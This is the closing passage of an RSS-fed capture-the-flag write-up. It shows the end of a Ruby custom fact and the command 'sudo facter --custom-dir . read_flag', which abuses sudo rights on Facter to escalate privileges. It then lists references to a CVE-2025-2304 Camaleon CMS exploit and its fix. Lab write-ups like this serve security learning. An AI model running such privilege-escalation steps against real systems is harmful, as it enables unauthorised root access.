&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then execute it by running:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>sudo facter --custom-dir . read_flag
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207203330.webp">&lt;/figure>
&lt;hr>
&lt;h3 id="references">References&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://github.com/Alien0ne/CVE-2025-2304">CVE-2025-2304 Exploit&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://knowledge-base.secureflag.com/vulnerabilities/inadequate_input_validation/mass_assignment_ruby.html">Mass Assignments in Ruby&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/owen2345/camaleon-cms/pull/1109">CVE-2025-2304 Fix&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://help.puppet.com/core/current/Content/PuppetCore/facter.htm">Facter docs&lt;/a>&lt;/li>
&lt;/ul></content></item></channel></rss>